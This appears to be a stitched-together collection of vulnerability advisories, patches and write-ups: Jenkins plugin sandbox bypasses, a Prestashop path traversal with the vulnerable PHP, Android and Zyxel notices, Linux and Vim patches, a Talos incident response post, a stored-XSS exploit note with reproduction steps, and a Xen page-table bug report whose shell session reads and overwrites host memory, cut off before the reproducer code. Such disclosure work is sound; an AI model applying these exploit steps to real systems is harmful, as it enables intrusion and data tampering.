A sandbox bypass vulnerability exists in Jenkins Script Security Plugin 1.53 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java, src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java that allows attackers with Overall/Read permission to execute arbitrary code on the Jenkins master JVM.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   AppDynamics Dashboard Plugin
*   Azure VM Agents Plugin
*   Bitbar Run-in-Cloud Plugin
*   Email Extension Plugin
*   Groovy Plugin
*   Job DSL Plugin
*   Matrix Project Plugin
*   OSF Builder Suite For Salesforce Commerce Cloud :: Deploy Plugin
*   Pipeline: Groovy Plugin
*   Rabbit-MQ Publisher Plugin
*   Repository Connector Plugin
*   Script Security Plugin

**Descriptions****Sandbox bypass in Script Security Plugin**

**SECURITY-1336 (1) / CVE-2019-1003029**

Script Security sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.

Script Security Plugin is now newly applying sandbox protection during these phases.

This affected both script execution (typically invoked from other plugins) as well as an HTTP endpoint providing script validation and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.

The API `GroovySandbox#run(Script, Whitelist)` has been deprecated and now emits a warning to the system log about potential security problems. `GroovySandbox#run(GroovyShell, String, Whitelist)` replaces it. `GroovySandbox#checkScriptForCompilationErrors(String, GroovyClassLoader)` has been added as a safer method to implement script validation.

**Sandbox bypass in Pipeline: Groovy Plugin**

**SECURITY-1336 (2) / CVE-2019-1003030**

Pipeline: Groovy sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.

This allowed users able to control the contents of a pipeline to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.

Pipeline: Groovy Plugin now uses Script Security APIs that apply sandbox protection during these phases.

**Script security sandbox bypass in Matrix Project Plugin**

**SECURITY-1339 / CVE-2019-1003031**

Matrix Project Plugin supports a sandboxed Groovy expression to filter matrix combinations. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.

This allowed users able to configure a Matrix project to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.

Matrix Project Plugin now uses Script Security APIs that apply sandbox protection during these phases.

**Script security sandbox bypass in Email Extension Plugin**

**SECURITY-1340 / CVE-2019-1003032**

Email Extension Plugin supports sandboxed Groovy expressions for multiple features. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.

This allowed users able to control the plugin’s job-specific configuration to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.

Email Extension Plugin now uses Script Security APIs that apply sandbox protection during these phases.

**Script security sandbox bypass in Groovy Plugin**

**SECURITY-1338 / CVE-2019-1003033**

Groovy Plugin supports sandboxed Groovy expressions for its "System Groovy" functionality. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.

This affected both System Groovy script execution as well as an HTTP endpoint providing script validation, and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.

Groovy Plugin now uses Script Security APIs that apply sandbox protection during these phases.

**Script security sandbox bypass in Job DSL Plugin**

**SECURITY-1342 / CVE-2019-1003034**

Job DSL Plugin supports sandboxed Groovy expressions for Job DSL definitions. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.

This allowed users able to control the Job DSL scripts to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.

Job DSL Plugin now uses Script Security APIs that apply sandbox protection during these phases.

**Information disclosure in Azure VM Agents Plugin**

**SECURITY-1330 / CVE-2019-1003035**

A missing permission check in a form validation method in Azure VM Agents Plugin allowed users with Overall/Read access to verify a submitted configuration, obtaining limited information about the Azure account and configuration.

Additionally, this form validation method did not require POST requests, resulting in a potential CSRF vulnerability.

This form validation method now requires POST requests and Overall/Administer permissions.

**Missing permission check in Azure VM Agents Plugin allowed modifying VM configuration**

**SECURITY-1331 / CVE-2019-1003036**

A missing permission check in an HTTP endpoint allowed users with Overall/Read access to attach a public IP address to an Azure VM in Azure VM Agents Plugin, making a virtual machine publicly accessible.

Additionally, this form validation method did not require POST requests, resulting in a CSRF vulnerability with more limited impact, as the IP address would not be known.

This form validation method now requires POST requests and Overall/Administer permissions.

**Unprivileged users with Overall/Read access are able to enumerate credential IDs in Azure VM Agents Plugin**

**SECURITY-1332 / CVE-2019-1003037**

Azure VM Agents Plugin provides a list of applicable credential IDs to allow administrators configuring the plugin to select the one to use.

This functionality did not check permissions, allowing any user with Overall/Read permission to get a list of valid credentials IDs. Those could be used as part of an attack to capture the credentials using another vulnerability.

An enumeration of credentials IDs in this plugin now requires Overall/Administer permission.

**Repository Connector Plugin stored password in plain text**

**SECURITY-958 / CVE-2019-1003038**

Repository Connector Plugin stored the username and password in its configuration unencrypted in its global configuration file on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.

The plugin now stores the password encrypted in the configuration files on disk and no longer transfers it to users viewing the configuration form in plain text.

**AppDynamics Dashboard Plugin stored password in plain text**

**SECURITY-1087 / CVE-2019-1003039**

AppDynamics Dashboard Plugin stored username and password in its configuration unencrypted in jobs' `config.xml` files on the Jenkins controller. This password could be viewed by users with Extended Read permission, or access to the Jenkins controller file system.

While masked from view using a password form field, the password was transferred in plain text to users when accessing the job configuration form.

AppDynamics Dashboard Plugin now stores the password encrypted in the configuration files on disk and no longer transfers it to users viewing the configuration form in plain text. Existing jobs need to have their configuration saved for existing plain text passwords to be overwritten.

**Rabbit-MQ Publisher Plugin stored password in plain text**

**SECURITY-848**

Rabbit-MQ Publisher Plugin stored the username and password in its configuration unencrypted in its global configuration file on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.

The plugin now stores the password encrypted in the configuration files on disk and no longer transfers it to users viewing the configuration form in plain text.

**Missing permission check allowed connecting to RabbitMQ in Rabbit-MQ Publisher Plugin**

**SECURITY-970**

A missing permission check in a form validation method of Rabbit-MQ Publisher Plugin allowed users with Overall/Read access to have Jenkins initiate a RabbitMQ connection to an attacker-specified host and port with an attacker-specified username and password.

Additionally, this form validation method did not require POST requests, resulting in a CSRF vulnerability.

This form validation method now requires POST requests and Overall/Administer permissions.

**OSF Builder Suite For Salesforce Commerce Cloud :: Deploy Plugin stored password in plain text**

**SECURITY-1038**

OSF Builder Suite For Salesforce Commerce Cloud : : Deploy Plugin stored the HTTP proxy username and password in its configuration unencrypted in its global configuration file on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.

The plugin now integrates with Credentials Plugin to store the HTTP proxy credentials.

**SSRF and data modification vulnerability due to missing permission check in Bitbar Run-in-Cloud**

**SECURITY-1088**

A missing permission check in a method performing both form validation and saving new configuration in Bitbar Run-in-Cloud Plugin allowed users with Overall/Read permission to have Jenkins connect to an attacker-specified host with attacker-specified credentials, and, if successful, save that as the new configuration for the plugin. This could then potentially result in future builds submitting their data to an unauthorized remote server.

Additionally, this method did not require POST requests, resulting in a CSRF vulnerability.

This form validation method now requires POST requests and Overall/Administer permissions.

**Severity**

*   SECURITY-848: Low
*   SECURITY-958: Low
*   SECURITY-970: Medium
*   SECURITY-1038: Low
*   SECURITY-1087: Medium
*   SECURITY-1088: Medium
*   SECURITY-1330: Medium
*   SECURITY-1331: Medium
*   SECURITY-1332: Medium
*   SECURITY-1336 (1): High
*   SECURITY-1336 (2): High
*   SECURITY-1338: High
*   SECURITY-1339: High
*   SECURITY-1340: High
*   SECURITY-1342: High

**Affected Versions**

*   **AppDynamics Dashboard Plugin** up to and including 1.0.14
*   **Azure VM Agents Plugin** up to and including 0.8.0
*   **Bitbar Run-in-Cloud Plugin** up to and including 2.69.1
*   **Email Extension Plugin** up to and including 2.64
*   **Groovy Plugin** up to and including 2.1
*   **Job DSL Plugin** up to and including 1.71
*   **Matrix Project Plugin** up to and including 1.13
*   **OSF Builder Suite For Salesforce Commerce Cloud :: Deploy Plugin** up to and including 1.0.10
*   **Pipeline: Groovy Plugin** up to and including 2.63
*   **Rabbit-MQ Publisher Plugin** up to and including 1.0
*   **Repository Connector Plugin** up to and including 1.2.4
*   **Script Security Plugin** up to and including 1.53

**Fix**

*   **AppDynamics Dashboard Plugin** should be updated to version 1.0.15
*   **Azure VM Agents Plugin** should be updated to version 0.8.1
*   **Bitbar Run-in-Cloud Plugin** should be updated to version 2.70.0
*   **Email Extension Plugin** should be updated to version 2.65
*   **Groovy Plugin** should be updated to version 2.2
*   **Job DSL Plugin** should be updated to version 1.72
*   **Matrix Project Plugin** should be updated to version 1.14
*   **OSF Builder Suite For Salesforce Commerce Cloud :: Deploy Plugin** should be updated to version 1.0.11
*   **Pipeline: Groovy Plugin** should be updated to version 2.64
*   **Rabbit-MQ Publisher Plugin** should be updated to version 1.2.0
*   **Repository Connector Plugin** should be updated to version 1.2.5
*   **Script Security Plugin** should be updated to version 1.54

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-970, SECURITY-1332
*   **Georgy Noseevich (@webpentest), SolidLab** for SECURITY-1336 (1), SECURITY-1336 (2)
*   **Oleg Nenashev, CloudBees, Inc.** for SECURITY-1330, SECURITY-1331
*   **Viktor Gazdag** for SECURITY-848, SECURITY-958, SECURITY-1038, SECURITY-1087, SECURITY-1088

CVE-2019-1003029: Jenkins Security Advisory 2019-03-06

Improper Limitation of a Pathname leads to a Path Traversal vulnerability in the module King-Avis for Prestashop, allowing a user knowing the download token to read arbitrary local files.This issue affects King-Avis: before 17.3.15.



King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to local file read.

There was a file download.php, that could be used to download statistical reports as CSV files. To protect from unauthorised access, the download feature was protected by a token, as shown below:

    $token = Tools::getValue('token');
    if($token!==_COOKIE_IV_){die('token error');}
    
    $file = Tools::getValue('file');
    ...
    

If the token is incorrect, the file exits and no content is returned. However, if the token is correct, the path is extracted from the parameter file and used without being sanitised :

    ...
    if(strpos($file,'?')!==false){
       $file_name = explode('?',$file);
       $file = str_replace('file=','',$file_name[0]);
    }
    $handle = fopen($file,"r");
    header('Content-Description: File Transfer');
    header('Content-Type: text/csv');
    header('Content-Disposition: attachment; filename='.$file);
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: '.filesize($file));
    @ob_clean();
    flush();
    readfile($file);
    fclose($handle);
    exit;
    

It means that administrators (supposed to know this token) can read arbitrary local files. Also, there is no need to have an active admin session to browse to this file.

This behaviour has been patched by removing this dangerous feature.

**Timeline**

*   24.05.2023: Vendor notified
*   25.05.2023: Vendor acknowledged and published a patch
*   26.05.2023: NCSC notified

*   **2023** 6
*   **2020** 12

**2023**

**CVE-2023-3033**

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

**CVE-2023-3032**

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

**CVE-2023-3031**

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

**FuckFastCGI made simpler**

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open\_basedir and disable\_functio...

**PHP .user.ini risks**

4 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open\_basedir...

**PHP open\_basedir bypass**

3 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

**2020**

**Self modifying C program - Polymorphic**

17 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑

CVE-2023-3031: CVE-2023-3031

Google has issued patches for 62 vulnerabilities in Android, including two actively exploited zero-days.

Google has patched 62 vulnerabilities in Android, including two actively exploited zero-days in its April 2025 Android Security Bulletin.

When we say “zero-day” we mean an exploitable software vulnerability for which there was no patch at the time of the vulnerability being exploited or published. The term reflects the amount of time that a vulnerable organization has to protect against the threat by patching—zero days.

The April updates are available for Android 13, 14, and 15. Android vendors are notified of all issues at least a month before publication, however, this doesn’t always mean that the patches are available for all devices immediately.

You can find your device’s Android version number, security update level, and Google Play system level in your Settings app. You’ll get notifications when updates are available for you, but you can also check for them yourself.

For most phones it works like this: Under **About phone** or **About device** you can tap on **Software updates** to check if there are new updates available for your device, although there may be slight differences based on the brand, type, and Android version of your device.

If your Android phone shows patch level 2025-04-05 or later then you can consider the issues as fixed. The difference with patch level 2025-04-01 is that the higher level provides all the fixes from the first batch and security patches for closed-source third-party and kernel subcomponents, which may not necessarily apply to all Android devices.

Keeping your device as up to date as possible protects you from known vulnerabilities and helps you to stay safe.

**Technical details**

The zero-days are both located in the kernel:

CVE-2024-53150: an out-of-bounds flaw in the USB sub-component of the Linux Kernel that could result in information disclosure. Local attackers can exploit this flaw to access sensitive information on vulnerable devices without user interaction.

The out of bounds vulnerability was caused by the USB-audio driver code which failed to check the length of each descriptor before passing it on.  There are currently no details on how CVE-2024-53150 has been exploited in real-world attacks, by whom, and who may have been targeted in those attacks.

CVE-2024-53197: a privilege escalation flaw in the USB audio sub-component of the Linux Kernel. Again, no user interaction is required.

This vulnerability is the missing link to CVE-2024-50302 and CVE-2024-53104 which put together were reportedly exploited in Serbia by law enforcement using Cellebrite forensic tools to unlock a student activist’s device and attempt spyware installation.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 Google fixes two actively exploited zero-day vulnerabilities in Android 

An improper control of interaction frequency vulnerability in Zyxel GS1200 series switches could allow a local attacker to guess the password by using a timing side-channel attack.

1.  Homepage
2.  Support
3.  Security Advisories
4.  Zyxel security advisory for password guessing vulnerability of GS1200 series switches

CVE: CVE-2022-0823

Summary

Zyxel is aware that GS1200 series switches are vulnerable to password-guessing attacks. Users are advised to install the applicable updates for optimal protection.

What is the vulnerability?

An improper control of interaction frequency vulnerability in Zyxel GS1200 series switches could allow a local attacker to guess the password by using a timing side-channel attack.

What versions are vulnerable—and what should you do?

After a thorough investigation, we’ve identified the vulnerable products that are within their vulnerability support period and released hotfixes, and will release patches to address the issue, as shown in the table below.

Affected model

Patch availability

Hotfix

Standard firmware

GS1200-5

V2.00(ABKM.2) in Nov. 2022

GS1200-5HP

V2.00(ABKN.2) in Nov. 2022

GS1200-8

V2.00(ABME.2) in Nov. 2022

GS1200-8HP

V2.00(ABMF.2) in Nov. 2022

Got a question?

Please contact your local service rep or visit Zyxel’s forum for further information or assistance.

Acknowledgment

Thanks to Lars Haulin for reporting the issue to us.

Revision history

2022-06-07: Initial release

CVE-2022-0823: Zyxel security advisory for password guessing vulnerability of GS1200 series switches

The sctp_do_peeloff function in net/sctp/socket.c in the Linux kernel before 4.14 does not check whether the intended netns is used in a peel-off action, which allows local users to cause a denial of service (use-after-free and system crash) or possibly have unspecified other impact via crafted system calls.

Message ID

e637d68ce6f4f94dce8cb30c647e672ebb1f0b7b.1508253970.git.lucien.xin@gmail.com

State

Accepted, archived

Delegated to:

David Miller

Headers

show

Series

\[net\] sctp: do not peel off an assoc from one netns to another one | expand

**Commit Message****Comments**

**Patch**

diff --git a/net/sctp/socket.c b/net/sctp/socket.c
index d4730ad..17841ab 100644
\--- a/net/sctp/socket.c
+++ b/net/sctp/socket.c
@@ -4906,6 +4906,10 @@  int sctp\_do\_peeloff(struct sock \*sk, sctp\_assoc\_t id, struct socket \*\*sockp)
 	struct socket \*sock;
 	int err = 0;
 
+	/\* Do not peel off from one netns to another one. \*/
+	if (!net\_eq(current->nsproxy->net\_ns, sock\_net(sk)))
+		return -EINVAL;
+
 	if (!asoc)
 		return -EINVAL;

CVE-2017-15115: [net] sctp: do not peel off an assoc from one netns to another one

In this blog post, Cisco Talos Incident Response (Talos IR) presents some of the key benefits of remote IR support and offers a list of recommendations for working on a remote incident.

Tuesday, January 10, 2023 12:01

_**Authors:** Gergana Karadzhova, Joe Schumacher, Pawel Bosek_

In this blog post, Cisco Talos Incident Response (Talos IR) presents some of the key benefits of remote IR support and offers a list of recommendations for working on a remote incident.

Some organizations see added value in having incident responders on site during an emergency. While this approach may offer certain benefits in terms of coordination, in Talos IR’s experience, the physical presence of a team on site is not crucial for the success of the overall IR. Cybersecurity threats are by definition intangible and bringing people physically together does not automatically facilitate an investigation. The traces of the malicious actors involved in a ransomware case, for example, are in the cyberspace made up by an organization’s network and the Internet, which means that, with sufficient connectivity, a remote responder team can work on the case from anywhere.

As a remote-first, follow-the-sun global team, Talos IR has extensive experience in creating a healthy, effective, and collaborative environment for customers and responders regardless of the stressful nature of IR activities. Trust needs to be built over time and proactive IR services offer the means to do this preemptively, ensuring that when an emergency happens, the responders will be able to gain appropriate access in a timely manner. Specific recommendations on how to strategically use proactive services in building this relationship are outlined in section “Adopting a ‘trust but verify’ approach.”

**Analyzing the advantages of remote IR support**

Criteria 

Remote 

On-Site 

Start of engagement 

15 minutes to four hours 

24 hours in transit 

Personnel utilization and treatment 

“Follow the sun” model, ensuring that team members rest in between shifts and lower the risk of burnout 

Usually limited to daytime. 

Risk of overstretching the team if working around the clock for multiple days 

Scalability  

Limited only by the IR team’s size  

1 – 2 people depending on the size of retainer 

Knowledge transfer between IR team and internal teams 

Primarily written  

Primarily verbal  

Efficiency  

Overall shorter period of time to start; easier to ramp up; better personnel utilization and care; transparent and lower cost 

Overall longer time to start; harder to ramp up; limited daily period of work; additional costs due to travel and accommodation 

Remote incident response offers the following key advantages in comparison to on-site support:

*   **Faster initial response –** The average industry service-level agreement for having on-site support is 24 hours in transit. Depending on the exact time when the incident was reported, the transportation options to the location, and the immediate availability of the consultants going on site, it can take anywhere between eight to 24 hours to reach the customer premises. This is significantly longer than the time needed to kick off a remote response, which in Talos IR’s experience is less than two hours.
*   **Easier to scale the response team –** IR is a team sport. Customers usually mainly interact with a few dedicated team members of the IR team, such as an Incident Commander and a few lead consultants. In the background, however, there are additional technology specialists, project managers and threat intelligence analysts working on the case. It is much easier to involve additional personnel in a remotely managed incident than to order people on site.
*   **More resource efficient –** The three most valuable resources in an incident are time, budget, and human power. In terms of human power, consider an incident which has been active for 48+ hours and is still ongoing. In such cases, having a remote team consisting of members in different time zones can ensure that work on the incident follows the sun without burning the team out. When it comes to cost management, remote incident support tends to provide great transparency of activities performed by the team, due to the centralized flow of communication and information exchange. Additional cost efficiency is generated by the fact that technical personnel do not need to set up their workplace in a new environment with emergency conditions and thus suffer a dip in productivity.

**Preparing for remote incident response**

From inception, Talos IR has been handling our emergency IR while fully remote as the norm, even predating the COVID-19 pandemic, due to the 24x7 nature of our service and global team distribution. Webex organically allows Talos IR to quickly and securely support our customers anywhere in the world. During the pandemic, we supported Cisco customers without any service interruption and created additional virtual infrastructure to ensure that all Talos IR proactive services could be securely delivered. This being said, if we do encounter a special case which might necessitate on-site presence of the response team, we discuss with the customer if it would augment the overall IR effort.

Remote IR comes with its own set of challenges. Talos IR recommends discussing your approach to the points listed below _before_ an actual emergency, as addressing shortcomings might require lead time and resources.

*   **Provisioning Access** – Having a process to get the remote IR team access to on-premises and remote consoles will accelerate the ability to investigate the incident. This process should include accounts related to, but not necessarily limited to, Virtual Private Network (VPN), Active Directory (AD), Endpoint Detection and Response (EDR), Multi-Factor Authentication (MFA), and other security controls.
*   **Regulatory & Compliance Requirements** – Data collection and sharing are often subject to country-specific laws, especially in the case of critical infrastructure and personally identifiable information (PII). Technical teams should work with the Legal Department and the Data Privacy and Governance Office to verify the exact legislation that is applicable to the different data sources that might be part of an incident. Any known limitations regarding remote collection of evidence and analysis of the data should be documented in the Incident Response Plan.
*   **Communication Cadence** – Having multiple means of communication and a set status update meeting will help ensure that everyone is kept on the same page. Communication is critical to get right during an incident but does not have to be in-person to be efficient or effective. People tend to be hyper-connected during IR, so bringing structure and predictability to the information flow benefits everyone.
*   **Gathering Evidence** – Remote evidence collection might not be possible in all incidents, but with some planning can be a viable alternative to traveling to a location or shipping an asset. You will want to ensure that there are technical representatives on-site who can assist the IR team with collecting forensic and triage data from in-scope assets.
*   **Sharing Evidence** – A reliable, high-speed network connection is essential for downloading and uploading large files to remote server(s). You will most likely be downloading the requested evidence from endpoints (e.g., workstations and servers) within your internal network and then uploading this data to a remote server for the incident responders to analyze.
*   **Scaling the Response** – Typically, an incident starts with one or two events across a large, networked environment and expands in scope as more indicators of compromise are discovered. Having the ability to contact people across the team as the incident evolves and to connect them to the investigation remotely will reduce the overall time to act and contribute to a more efficient incident response. When planning who and how you might need to engage during a possible incident, it is critical to consider your internal team along with the partners, contractors, and service providers that will be assisting with the incident response remotely.

Internal teams that will be involved in the implementation of the above preparation activities should familiarize themselves with the agreed approach as part of their preparation for IR and whenever possible, test the theoretical plan in the practice. It is highly recommended to document all relevant procedures and processes within the internal Incident Response Plan and Incident Response Playbooks, as this makes distribution and knowledge management easier in the long run.

**Adopting a “trust but verify” approach**

In the world of security there is the phrase “trust but verify,” and this mentality should be present when it comes to your IR service provider. Many companies have their first contact with the IR team during an emergency, which is one of the worst times for building trust and getting to know each other. A much better way to become familiar with your incident responders is to work with them on **proactive services**. These services by definition are non-emergency and offer more time for addressing the remote support considerations listed above through tabletop exercises, development of plans and playbooks, and threat hunts. In addition to improving your overall resiliency to cyber threats, proactive services will allow you to see what tools are typically leveraged by the IR team and what methodology they use for threat hunting. The engagements provide an opportunity for the responders and your internal teams to build trust and a better understanding of each other’s craft. An investment in the human element of virtual collaboration pays off during subsequent remote IR cases, as both sides feel more comfortable working together and can be more efficient in the execution of emergency response actions.

In most businesses, a level of remoteness was present long before the COVID-19 pandemic. Many organizations operate remotely or in different locations, whether that is multiple offices, data centers, or the homes of their employees. The increase of remote work in the last few years has led to optimization and normalization of virtual collaboration, the latter becoming an integral part of modern business operations. In a similar way, IR has grown increasingly independent of physical location as long as secure connectivity is possible. There will always be the need to physically travel to a location for response in some special cases, but that will not be the norm.

The expanded use of cloud services, the increase in remoteness in company operations, and the shortage of cybersecurity talent all speak in favor of an IR delivery model with remote-first support and members distributed around the globe. This trend emphasizes the importance of accountability and trustworthiness in each and every interaction with the IR team, whether physically or virtually. Talos IR recognizes this and is committed to delivering high-quality and efficient engagements during all emergency and proactive retainer projects.

Increasing trust, commitment, and predictability during a remote incident response

Permalink

Browse files

patch 8.2.3950: going beyond the end of the line with /\\%V

Problem:    Going beyond the end of the line with /\\%V.
Solution:   Check for valid column in getvcol().

*   Loading branch information

![@brammool](https://avatars.githubusercontent.com/u/8530623?s=40&v=4)

1 parent 4c13e5e commit 94f3192b03ed27474db80b4d3a409e107140738b

Showing with **19 additions** and **4 deletions**.

1.  +9 −4 src/charset.c
2.  +8 −0 src/testdir/test\_regexp\_latin.vim
3.  +2 −0 src/version.c

@@ -1240,10 +1240,15 @@ getvcol(

posptr = NULL; // continue until the NUL

else

{

// Special check for an empty line, which can happen on exit, when

// ml\_get\_buf() always returns an empty string.

if (\*ptr == NUL)

pos->col = 0;

colnr\_T i;

  

// In a few cases the position can be beyond the end of the line.

for (i = 0; i < pos->col; ++i)

if (ptr\[i\] == NUL)

{

pos->col = i;

break;

}

posptr = ptr + pos->col;

if (has\_mbyte)

// always start on the first byte

@@ -1053,4 +1053,12 @@ func Test\_using\_visual\_position()

bwipe!

endfunc

  

func Test\_using\_invalid\_visual\_position()

" this was going beyond the end of the line

new

exe "norm 0o000\\<Esc>0\\<C-V>$s0"

/\\%V

bwipe!

endfunc

  

" vim: shiftwidth\=2 sts\=2 expandtab

@@ -749,6 +749,8 @@ static char \*(features\[\]) =

  

static int included\_patches\[\] =

{ /\* Add new patch number below this line \*/

/\*\*/

3950,

/\*\*/

3949,

/\*\*/

**0 comments on commit `94f3192`**

Please sign in to comment.

CVE-2021-4193: patch 8.2.3950: going beyond the end of the line with /\%V · vim/vim@94f3192

NetArt Media Blog LITE version 2.1 suffers from a persistent cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://www.netartmedia.net/blog-lite                                      ││  Vendor   : NetArt Media                                                               ││  Software : Blog LITE 2.1                                                              ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS---------------------------------------------------------POST /blog/index.php HTTP/2-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="title"[XSS Payload]-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="content"-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="author"[XSS Payload]-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="email"-----------------------------401019026540470155022776857270## Steps to Reproduce:1. Visit Any Category on the Blog2. Write a comment (as Guest)3. Inject your [XSS Payload] in "Comment Title"4. Inject your [XSS Payload] in "Your Name"5. Submit6. By default the Blog Disable your comment for Admin Check7. Admin Check the [BLOG POSTS] in the Administration Panel on this Path (https://website/blog/admin/index.php?page=posts)8. When the Admin check the comments on this Path (https://website/blog/admin/index.php?page=comments&id=2)9. XSS Will Fire and Executed on his Browser[-] Done

NetArt Media Blog LITE 2.1 Cross Site Scripting

On CPUs without SELFSNOOP support, a Xen PV domain that has access to a PCI device (which grants the domain the ability to set arbitrary cache attributes on all its pages) can trick Xen into validating an L2 pagetable that contains a cacheline that is marked as clean in the cache but actually differs from main memory. After the pagetable has been validated, an attacker can flush the "clean" cacheline, such that on the next load, unvalidated data from main memory shows up in the pagetable.

    Xen: PV guest on non-SELFSNOOP CPUs can validate non-coherent L2 pagetable[I'm not sure whether there are any major users of (unshimmed) Xen PV left, but https://xenbits.xen.org/docs/unstable/support-matrix.html says it's still a security-supported usecase for 64-bit guests.][Tested on Debian's Xen version 4.14.4-pre (Debian 4.14.3+32-g9de3671772-1~deb11u1)]On CPUs without SELFSNOOP support (which I think essentially means \"AMD CPUs\" nowadays?), a Xen PV domain that has access to a PCI device (which grants the domain the ability to set arbitrary cache attributes on all its pages) can trick Xen into validating an L2 pagetable that contains a cacheline that is marked as clean in the cache but actually differs from main memory. After the pagetable has been validated, an attacker can flush the \"clean\" cacheline, such that on the next load, unvalidated data from main memory shows up in the pagetable.The L2 pagetable validation path (promote_l2_table()) can be attacked with this because for zeroed PTEs, it only reads and doesn't write. The L1 pagetable validation path (promote_l1_table()) seems to always write to memory in the C code, but the compiler could conceivably elide that write, making the attack possible against that path, too - I haven't checked what compilers actually do there. Thinking further, it might also be a good idea to check the Memory Sharing code, although that isn't security-supported anyway.(The same attack might also be possible without a PCI device if an HVM/PVH domain is collaborating with the PV domain - from what I can tell, HVM/PVH can always control their cache attributes, and pages with incoherent cache state could then be freed to Xen's page allocator and reallocated by the PV domain, unless opt_scrub_domheap is set?)I made a little reproducer that can be loaded as a kernel module inside a PV guest with PCI passthrough. It gives you a new device /dev/physical_memory using which you can just read and write all physical memory. For example, you can scan around for interesting strings:root@pv-guest:~/incoherent_page_table# strings -20 -td /dev/physical_memory[...]146006071 auth      requisite pam_nologin.so146006107 # Load environment from /etc/environment and ~/.pam_environment146006171 session      required pam_env.so readenv=1146006214 session      required pam_env.so readenv=1 envfile=/etc/default/locale146006286 @include common-auth146006308 -auth  optional pam_gnome_keyring.so146006346 @include common-accountLooking at that closer, we can dump the whole page and see that it looks like a pagecache page of a PAM config file from dom0:root@pv-guest:~/incoherent_page_table# dd if=/dev/physical_memory bs=1 count=4096 skip=146006016#%PAM-1.0# Block login if they are globally disabledauth      requisite pam_nologin.so[...]Then we can clobber it by just dd'ing into it:root@pv-guest:~/incoherent_page_table# echo -n '##CLOBBER##' | dd of=/dev/physical_memory bs=1 seek=14600604611+0 records in11+0 records out11 bytes copied, 0.00109982 s, 10.0 kB/sroot@pv-guest:~/incoherent_page_table# And checking from a dom0 shell, the file contents of this config file in dom0 have indeed changed:root@jannh-amdbox:/home/user# head -n5 /etc/pam.d/lightdm#%PAM-1.0# Block login if th##CLOBBER##ally disabledauth      requisite pam_nologin.soroot@jannh-amdbox:/home/user# This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2022-06-06.====== Reproducer code ======root@pv-guest:~/incoherent_page_table# cat 